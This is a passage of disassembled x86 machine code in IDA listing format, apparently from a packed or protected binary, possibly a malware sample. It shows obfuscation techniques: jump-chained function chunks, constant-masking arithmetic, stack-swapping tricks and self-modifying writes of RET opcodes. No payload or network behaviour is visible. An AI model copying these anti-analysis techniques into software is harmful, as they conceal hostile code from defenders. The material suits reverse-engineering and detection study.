; ---------------------------------------------------------------------------

loc_43E2BD:				; CODE XREF: y22d6.y.:00439343j
		jmp	loc_448813
; ---------------------------------------------------------------------------
		or	edx, ebp
		jmp	sub_44370B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445362

loc_43E2C9:				; CODE XREF: sub_445362-618Bj
		shr	eax, 7
		test	eax, ebx
		jmp	loc_4479B3
; END OF FUNCTION CHUNK	FOR sub_445362
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43E2D3:				; CODE XREF: sub_448EB6+25Aj
		push	6E963A38h
		pop	eax
		and	eax, 8734EF37h
		add	eax, 0F8773923h
		xor	eax, 883A5739h
		jmp	loc_438724
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_43E2F0:				; CODE XREF: sub_44A359-434Bj
		mov	edx, [ecx]

loc_43E2F2:				; CODE XREF: sub_4432B8:loc_439B96j
					; sub_44A359:loc_440913j ...
		jmp	loc_44E5C8
; ---------------------------------------------------------------------------

loc_43E2F7:				; CODE XREF: y22d6.y.:loc_439A43j
					; sub_44A359:loc_43F152j ...
		pop	ecx
		pop	ebp
		jmp	loc_4426B5
; ---------------------------------------------------------------------------

loc_43E2FE:				; CODE XREF: y22d6.y.:00440B2Aj
					; sub_445141+2EE3j ...
		sub	eax, 52013D64h
		push	offset loc_43FF4B
		jmp	loc_4410F9
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437FD8

loc_43E30E:				; CODE XREF: sub_437FD8:loc_441949j
		cmp	al, 0A4h
		jz	loc_447EBA
		jmp	loc_44E1FC
; END OF FUNCTION CHUNK	FOR sub_437FD8

; =============== S U B	R O U T	I N E =======================================



sub_43E31B	proc near		; CODE XREF: y22d6.y.:0043A6AEj
					; sub_43C55B+8759p ...
		xchg	edx, [esp+0]
		pop	edx
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		call	sub_447D7F

loc_43E329:				; CODE XREF: sub_44374A-1279j
		jmp	nullsub_32
sub_43E31B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C59C

loc_43E32E:				; CODE XREF: sub_44C59C-1288Fj
		jmp	loc_4409C3
; END OF FUNCTION CHUNK	FOR sub_44C59C
; ---------------------------------------------------------------------------
		jmp	ds:off_41E01C
; ---------------------------------------------------------------------------

loc_43E339:				; CODE XREF: y22d6.y.:00445BB9j
		jmp	loc_442F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44807C

loc_43E33E:				; CODE XREF: sub_44807C-10392j
		jmp	loc_437758
; END OF FUNCTION CHUNK	FOR sub_44807C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43E343:				; CODE XREF: sub_44B489:loc_4401F5j
					; sub_449641:loc_443EECj ...
		xchg	edi, [esp+8+var_8]
		mov	edx, edi
		pop	edi
		jns	loc_439B6D
		mov	eax, [esp+4+var_4]
		jmp	loc_442ACC
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
		rol	eax, 16h
		xor	eax, 4A70CD9Fh
; START	OF FUNCTION CHUNK FOR sub_447BB2

loc_43E360:				; CODE XREF: sub_447BB2:loc_442827j
		push	edi
		push	50F1E5B1h
		jmp	loc_44184C
; END OF FUNCTION CHUNK	FOR sub_447BB2

; =============== S U B	R O U T	I N E =======================================



sub_43E36B	proc near		; DATA XREF: sub_449641-F8B6o
		add	edx, 1BB7DCF2h
		xchg	edx, [esp+0]
		jmp	sub_43EF0B
sub_43E36B	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44731A

loc_43E37A:				; CODE XREF: sub_44731A-988Dj
		jmp	nullsub_92
; END OF FUNCTION CHUNK	FOR sub_44731A
; ---------------------------------------------------------------------------
		db 8Dh
dword_43E380	dd 0			; DATA XREF: sub_44A359:loc_439EF9r
					; sub_445141+2EDDw ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F34

loc_43E384:				; CODE XREF: sub_446F34-5800j
		jmp	loc_44AD9F
; END OF FUNCTION CHUNK	FOR sub_446F34

; =============== S U B	R O U T	I N E =======================================



sub_43E389	proc near		; CODE XREF: sub_401000+335p
					; sub_401000+3B7p ...
		call	sub_43E39E
		jmp	ds:off_41E0E0
sub_43E389	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43E394:				; CODE XREF: sub_449641-BB06j
		jmp	loc_43F6DA
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43E399:				; CODE XREF: sub_448EB6-11D94j
		jmp	loc_44D746
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_43E39E	proc near		; CODE XREF: sub_43E389p sub_444AD7+7j ...

; FUNCTION CHUNK AT 0043728B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004378DE SIZE 0000000E BYTES

		call	sub_447896

loc_43E3A3:				; CODE XREF: sub_4432B8:loc_4494B9j
		push	7AB2C421h
		pop	ecx
		sub	ecx, 0B845035Ch
		rol	ecx, 1Ah
		cmp	ecx, 78D665Ah
		jmp	loc_43728B
sub_43E39E	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E3BD	proc near		; CODE XREF: y22d6.y.:00438ED5p
					; y22d6.y.:0044A026j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043BE24 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004409E2 SIZE 00000012 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	eax
		mov	eax, edx
		jmp	loc_43BE24
sub_43E3BD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_43E3C9:				; CODE XREF: sub_43B252:loc_44CDEBj
		rol	ebp, 0Ah
		jns	loc_444689
		sbb	ebp, 4DED961Ch
		jmp	loc_4378A1
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43E3DD:				; CODE XREF: sub_448EB6:loc_4445B8j
		jz	loc_439AF8
		jmp	loc_44A265
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB3E

loc_43E3E8:				; CODE XREF: sub_44DB3E+Cj
		pop	ecx
		push	edi
		pushf
		push	0E1E9F6EDh
		pop	edi
		jmp	loc_439159
; END OF FUNCTION CHUNK	FOR sub_44DB3E
; ---------------------------------------------------------------------------

loc_43E3F6:				; CODE XREF: y22d6.y.:0044CC88j
		jbe	loc_449D55
		add	esi, 16C660Ch
		xchg	esi, [esp]
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
		mov	ds:dword_41E0EC, eax
		lea	eax, nullsub_358
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_358
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_4462A2
; ---------------------------------------------------------------------------

loc_43E424:				; DATA XREF: y22d6.y.:00448057o
		call	sub_4435D6
		mov	edx, ds:dword_4413E8
		mov	ebx, [edx]
		sub	ebx, eax
		mov	ecx, [ebp-4]
		push	52097CB0h
		jmp	loc_440257
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_43E440:				; CODE XREF: sub_44BCC2:loc_44200Bj
		xchg	edx, [esp+8+var_8]
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------

loc_43E448:				; CODE XREF: y22d6.y.:0044E0BEj
		shr	ebp, 11h
; START	OF FUNCTION CHUNK FOR sub_43B566

loc_43E44B:				; CODE XREF: sub_43B566:loc_44E0ABj
		sub	edi, 19695D84h
		add	edi, 0EBEC35FDh
		add	edi, ebp
		add	edi, 76B677CBh
		push	offset loc_443D3C
		jmp	sub_44845A
; END OF FUNCTION CHUNK	FOR sub_43B566
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC1A

loc_43E469:				; CODE XREF: sub_43CC1A+13j
		rol	edx, 16h
		and	edx, 0A1194860h
		rol	edx, 0Ah
		xor	edx, 4ED60A22h
		add	edx, ebp
		call	sub_44CBBE

loc_43E482:				; CODE XREF: sub_44B003+8j
		jmp	loc_43E285
; END OF FUNCTION CHUNK	FOR sub_43CC1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B035

loc_43E487:				; CODE XREF: sub_43B035+7j
		jmp	loc_43D840
; END OF FUNCTION CHUNK	FOR sub_43B035

; =============== S U B	R O U T	I N E =======================================



sub_43E48C	proc near		; CODE XREF: y22d6.y.:0043EEA1j
					; y22d6.y.:00446F9Ap

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A616 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00449AF2 SIZE 0000001F BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	esi
		mov	esi, edx
		xchg	esi, [esp+0]
		jmp	loc_43A616
sub_43E48C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439096

loc_43E49B:				; CODE XREF: sub_439096:loc_43E89Cj
		pop	edi
		xor	edi, 4B9AA703h
		cmp	edi, 0F45C2098h
		jmp	loc_440482
; END OF FUNCTION CHUNK	FOR sub_439096
; ---------------------------------------------------------------------------

loc_43E4AD:				; CODE XREF: y22d6.y.:004393A0j
					; y22d6.y.:00448B54j
		add	eax, 7C4FB49Bh
		push	edx
		push	0FB9A82ECh
		pop	edx
		jmp	loc_43D1EB
; ---------------------------------------------------------------------------
		call	sub_43E953
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_43E4C7:				; DATA XREF: sub_43DA5D+B232o
		push	edx
		jmp	loc_4442FA
; ---------------------------------------------------------------------------

loc_43E4CD:				; CODE XREF: y22d6.y.:loc_43B4EDj
		sub	edi, 0EE2C1B35h
		jns	loc_442C72
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43E4D9:				; CODE XREF: sub_448EB6-4539j
		jmp	loc_440F7E
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B9F3

loc_43E4DE:				; CODE XREF: sub_43B9F3+5ACCj
		jmp	loc_4461EF
; END OF FUNCTION CHUNK	FOR sub_43B9F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452EE

loc_43E4E3:				; CODE XREF: sub_4452EE-C507j
		jmp	loc_43B81D
; END OF FUNCTION CHUNK	FOR sub_4452EE
; ---------------------------------------------------------------------------
		and	ecx, 414B0020h
		rol	ebx, 12h
		jmp	loc_442C72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43E4F6:				; CODE XREF: sub_448EB6:loc_439237j
		jz	loc_4422D0
		jmp	loc_44D3A7
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		or	ebp, 0DAC46473h
		pop	edi
		jmp	sub_438E7B
; ---------------------------------------------------------------------------

loc_43E50D:				; DATA XREF: y22d6.y.:0043E669o
		add	eax, 0C1BD076Bh
		add	eax, ebp
		add	eax, 3628EC64h
		mov	eax, [eax]
		xchg	eax, [esp]
		jmp	loc_44C1FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4410E0

loc_43E525:				; CODE XREF: sub_4410E0:loc_43AB90j
		ror	ecx, 6
		adc	eax, ebp
		adc	ebp, 0C47252D4h
		adc	esi, edx
		jmp	loc_440FBE
; END OF FUNCTION CHUNK	FOR sub_4410E0
; ---------------------------------------------------------------------------

loc_43E537:				; CODE XREF: y22d6.y.:00437FA7j
		pop	ecx
		add	eax, 0A8B2EB4Bh
		and	eax, 85D98068h
		add	eax, 9F4D0EA0h
		call	sub_43CA1A
		mov	ds:off_41E14C, eax
		lea	eax, loc_440320
		jmp	loc_44D75D
; ---------------------------------------------------------------------------

loc_43E560:				; CODE XREF: y22d6.y.:loc_445718j
		test	eax, 80000000h
		jmp	loc_44CF9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C6F

loc_43E56B:				; CODE XREF: sub_447C6F-5C7Cj
		mov	edx, [ebp+8]
		jmp	loc_44D9F0
; END OF FUNCTION CHUNK	FOR sub_447C6F
; ---------------------------------------------------------------------------

loc_43E573:				; CODE XREF: y22d6.y.:loc_43B51Fj
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_44D9F8
		mov	eax, [ebp+8]
		push	eax
		cmp	dword ptr [ebp-14h], 6
		setz	al
		call	sub_443954
		jmp	loc_44D9E9
; ---------------------------------------------------------------------------

loc_43E592:				; DATA XREF: sub_44B1D2+1F92o
		lea	eax, loc_44C4D2
		mov	byte ptr [eax],	0C3h
		jmp	loc_449D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBF3

loc_43E5A0:				; CODE XREF: sub_43CBF3:loc_44C4D2j
		pop	edx
		mov	eax, [esp+0]
		push	edx

loc_43E5A5:				; CODE XREF: sub_448EB6:loc_438D00j
		mov	edx, ebp
		xchg	edx, [esp+4+var_4]
		push	edx
		jmp	loc_43C21F
; END OF FUNCTION CHUNK	FOR sub_43CBF3

; =============== S U B	R O U T	I N E =======================================



sub_43E5B0	proc near		; CODE XREF: sub_43A9C6+3E90p
					; sub_448EB6+240j
		xchg	ecx, [esp+0]
		pop	ecx
		lea	eax, sub_43A9C6
		mov	byte ptr [eax],	0C3h
		jmp	sub_43A9C6
sub_43E5B0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43E5C2	proc near		; CODE XREF: .text:0040DFE6p
					; sub_412464+15p
					; DATA XREF: ...

; FUNCTION CHUNK AT 00438D8C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043A2E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AA5D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043ACD6 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043CB4B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 004414D8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00441A4A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443A7C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004445F7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044548F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044A6EF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044DC3B SIZE 0000000C BYTES

		jo	loc_4414D8
		jmp	loc_438D8C
sub_43E5C2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edi, 5C54CBF1h
		test	edx, 0E6CD56D6h
		jmp	loc_439E4E
; ---------------------------------------------------------------------------

loc_43E5DD:				; CODE XREF: y22d6.y.:0043E6F5j
		and	ecx, 630E3C2Ch
; START	OF FUNCTION CHUNK FOR sub_437712

loc_43E5E3:				; CODE XREF: sub_437712+6FC9j
		rol	edi, 18h
		or	edi, 0E359169Eh
		add	edi, 18EAFB40h
		xchg	edi, [esp+0]
		jmp	sub_43AD94
; END OF FUNCTION CHUNK	FOR sub_437712
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449956

loc_43E5FA:				; CODE XREF: sub_449956:loc_442ABCj
		push	eax
		call	sub_438399

loc_43E600:				; CODE XREF: y22d6.y.:0043DE4Ej
		add	ebx, ebp
; END OF FUNCTION CHUNK	FOR sub_449956

; =============== S U B	R O U T	I N E =======================================



sub_43E602	proc near		; CODE XREF: sub_4435D6+Cp
		xchg	edi, [esp+0]
		pop	edi
		add	eax, 7C1DBFEAh
		retn
sub_43E602	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_206. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_43E60E:				; CODE XREF: sub_43B98D+C84Bj
		jmp	loc_443EAE
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447268

loc_43E613:				; CODE XREF: y22d6.y.:0043BB55j
					; sub_447268:loc_447E27j
		jmp	nullsub_6
; END OF FUNCTION CHUNK	FOR sub_447268
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_304. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		adc	esi, 947EA80h
		jmp	loc_446F4C
; ---------------------------------------------------------------------------

loc_43E624:				; CODE XREF: y22d6.y.:00439DF5j
		pop	ebp

; =============== S U B	R O U T	I N E =======================================



sub_43E625	proc near		; CODE XREF: sub_4432B8:loc_43969Cp
		xchg	edi, [esp+0]
		pop	edi
		mov	[edx], eax
		pop	edx
		lea	eax, nullsub_10
		jmp	loc_43BF56
sub_43E625	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43E637:				; CODE XREF: sub_44B17B+64Cj
		jnz	loc_440A2F
		jmp	loc_4483DB
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_43E642:				; CODE XREF: sub_438B66+CEE5j
		jb	loc_43863C
		jmp	loc_44DD48
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------

loc_43E64D:				; CODE XREF: y22d6.y.:00447719j
		pushf

loc_43E64E:				; CODE XREF: y22d6.y.:loc_44A203j
		push	eax
		lea	eax, loc_444574
		push	eax
		jmp	loc_437D5C
; ---------------------------------------------------------------------------

loc_43E65B:				; CODE XREF: y22d6.y.:00440024j
		mov	edx, [eax]

loc_43E65D:				; CODE XREF: y22d6.y.:loc_440013j
		xor	eax, 0B2213665h
		and	eax, 0A81E3E73h
		push	offset loc_43E50D
		jmp	loc_44A78E
; ---------------------------------------------------------------------------

loc_43E673:				; CODE XREF: y22d6.y.:0044087Dj
		push	ecx
		push	3117C5DFh
		pop	ecx
		or	ecx, 0A9CED7F4h
		add	ecx, 46641FD1h
		mov	[ecx], edx
		jmp	loc_43B347
; ---------------------------------------------------------------------------

loc_43E68D:				; CODE XREF: y22d6.y.:004414ABj
		add	ebp, edi

loc_43E68F:				; CODE XREF: y22d6.y.:loc_4414A3j
		xor	eax, 0B139A0Ch
		cmp	eax, 87B12BF5h
		jmp	loc_4463DA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FE3B

loc_43E6A1:				; CODE XREF: sub_43FE3B+13j
		jmp	loc_44D518
; END OF FUNCTION CHUNK	FOR sub_43FE3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_43E6A6:				; CODE XREF: sub_44E5C7-4554j
		jnz	loc_439A53

loc_43E6AC:				; CODE XREF: sub_44E5C7:loc_442CEDj
		push	694B7246h
		pop	eax
		add	eax, 37D1BFCDh
		jmp	loc_44CD60
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------

loc_43E6BD:				; CODE XREF: y22d6.y.:00442C53j
		rol	edx, 1Bh

; =============== S U B	R O U T	I N E =======================================



sub_43E6C0	proc near		; CODE XREF: sub_43F891:loc_44D4B7p

; FUNCTION CHUNK AT 00440EF1 SIZE 00000018 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	eax
		push	0B685B8B4h
		jmp	loc_440EF1
sub_43E6C0	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_202. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43E6D0:				; CODE XREF: y22d6.y.:00439469j
		jmp	nullsub_118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437712

loc_43E6D5:				; CODE XREF: sub_437712:loc_43B4B5j
		xor	edi, 1D6B7D75h
		jnz	loc_43E5E3

loc_43E6E1:				; CODE XREF: sub_439C96+F927j
		jmp	loc_43BBF1
; END OF FUNCTION CHUNK	FOR sub_437712
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44364E

loc_43E6E6:				; CODE XREF: sub_44364E-9307j
		jmp	loc_43BA54
; END OF FUNCTION CHUNK	FOR sub_44364E
; ---------------------------------------------------------------------------
		sub	esi, edx
		sbb	ecx, ebp
		jbe	loc_444C06
		jmp	loc_43E5DD
; ---------------------------------------------------------------------------
		push	72723AC2h
		pop	eax
		and	eax, 4CD2CCB0h
		xor	eax, 0FC219140h
		push	edx
		jmp	loc_447DED
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_296. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448039

loc_43E713:				; CODE XREF: sub_448039+15j
		jmp	loc_44483A
; END OF FUNCTION CHUNK	FOR sub_448039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443BA0

loc_43E718:				; CODE XREF: sub_443BA0+Dj
		jmp	nullsub_116
; END OF FUNCTION CHUNK	FOR sub_443BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4392B0

loc_43E71D:				; CODE XREF: sub_4392B0:loc_43C6EAj
		jnz	loc_43FB15
		call	sub_44A320
		mov	edx, 0E5254649h
		call	sub_449739
		mov	ds:dword_441954, eax
		jmp	loc_44A30C
; ---------------------------------------------------------------------------

loc_43E73C:				; CODE XREF: sub_4392B0+4j
		cmp	ds:dword_441954, 0
		jnz	loc_43FB15
		call	sub_44A320
		jmp	loc_43C420
; END OF FUNCTION CHUNK	FOR sub_4392B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B878

loc_43E753:				; CODE XREF: sub_43B878:loc_44164Cj
		popf
		push	ebx

loc_43E755:				; CODE XREF: sub_44B17B:loc_43D7EAj
		mov	ebx, eax
		xchg	ebx, [esp+0]
		jmp	loc_44868C
; END OF FUNCTION CHUNK	FOR sub_43B878
; ---------------------------------------------------------------------------
		test	edi, ecx
		jmp	loc_4441CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0EE

loc_43E766:				; CODE XREF: sub_43B0EE:loc_43FF51j
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_440354
		or	eax, eax
		jnz	loc_441930
		jmp	loc_44CF5F
; END OF FUNCTION CHUNK	FOR sub_43B0EE

; =============== S U B	R O U T	I N E =======================================



sub_43E77C	proc near		; CODE XREF: y22d6.y.:0043A082j
					; sub_44AEDA-10898p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00448399 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	ebx, [esp-4+arg_0]
		push	offset loc_439335
		jmp	loc_448399
sub_43E77C	endp

; ---------------------------------------------------------------------------
		or	eax, ecx
		jmp	sub_44BAC8
; ---------------------------------------------------------------------------

loc_43E794:				; CODE XREF: y22d6.y.:loc_4473B3j
		add	esi, 0EF86C4B9h
		xor	eax, esi
		pop	esi
		rol	eax, 1Eh
		push	esi
		push	0FE96024Eh
		jmp	loc_44B743
; ---------------------------------------------------------------------------
		mov	ds:off_41E034, eax
		lea	eax, sub_44E242
		mov	byte ptr [eax],	0C3h
		jmp	loc_448605

; =============== S U B	R O U T	I N E =======================================



sub_43E7BF	proc near		; CODE XREF: sub_40158F+17Ap
					; y22d6.y.:00447E41j
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437172 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043877B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043C68A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00440CD3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00444929 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445CE0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447734 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447E4C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044C009 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044C9E1 SIZE 00000005 BYTES

		push	edx
		push	0FBDF6410h
		pop	edx
		sub	edx, 0C868FFEFh
		jmp	loc_43877B
sub_43E7BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_43E7D1	proc near		; CODE XREF: y22d6.y.:0043C20Fj
					; sub_43E196+Ap
		xchg	eax, [esp+0]
		pop	eax
		call	sub_4435D6
		dec	eax
		mov	edx, ds:dword_4413E8
		mov	[edx], eax
sub_43E7D1	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_43E7E3:				; CODE XREF: sub_43FFE2:loc_4408A7j
		call	sub_4435D6
		mov	edx, ds:dword_4413E8
		jmp	loc_44AE9B
; END OF FUNCTION CHUNK	FOR sub_43FFE2

; =============== S U B	R O U T	I N E =======================================



sub_43E7F3	proc near		; DATA XREF: sub_44BBBA-8D47o
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		call	sub_4472BB

loc_43E7FE:				; CODE XREF: sub_4450FD-4236j
		jmp	loc_443426
sub_43E7F3	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C59C

loc_43E804:				; CODE XREF: sub_44C59C-BBD1j
		jmp	loc_44D140
; END OF FUNCTION CHUNK	FOR sub_44C59C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_43E809:				; CODE XREF: sub_438B66:loc_4415E6j
		mov	eax, [eax+18h]
		dec	eax
		sub	eax, 0FFFFFFFFh
		jl	loc_438C96
		jmp	loc_44223A
; END OF FUNCTION CHUNK	FOR sub_438B66

; =============== S U B	R O U T	I N E =======================================



sub_43E81B	proc near		; CODE XREF: y22d6.y.:00442F12p
					; y22d6.y.:00447EE7j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437992 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A371 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043AC35 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043B07D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00443797 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004447B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445E21 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004479CB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00447EB0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004480F1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004489E7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044979E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004498C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449D2D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044A00F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044B0BC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C153 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D4E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E02F SIZE 00000015 BYTES

		xchg	esi, [esp+0]
		pop	esi
		pop	esi
		push	1Ch
		push	55A8772Eh
		pop	eax
		xor	eax, 6ECD9534h
		and	eax, 0CE7E5D72h
		jmp	loc_4498C7
sub_43E81B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43E839:				; CODE XREF: sub_448EB6:loc_44B698j
		shr	eax, 12h
		jmp	loc_43DF04
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A9C6

loc_43E841:				; CODE XREF: sub_43A9C6+1j
		mov	eax, [esp-4+arg_0]
		push	edx
		nop
		mov	eax, 6FDE1A91h
		call	sub_43CA1A
		mov	ds:off_41E188, eax
		call	sub_43E5B0

loc_43E85B:				; CODE XREF: sub_4432B8:loc_4422EBj
		not	eax
		cdq
		jmp	loc_4376FD
; END OF FUNCTION CHUNK	FOR sub_43A9C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43E863:				; CODE XREF: sub_4432B8:loc_4398D8j
		xchg	ecx, [esp+0]
		call	sub_4480DE
		retn
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_43E86C	proc near		; DATA XREF: sub_43C6D7+102F6o

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00437629 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004398E2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043A1DF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043DBCD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DC0F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044372B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00445BBF SIZE 00000008 BYTES
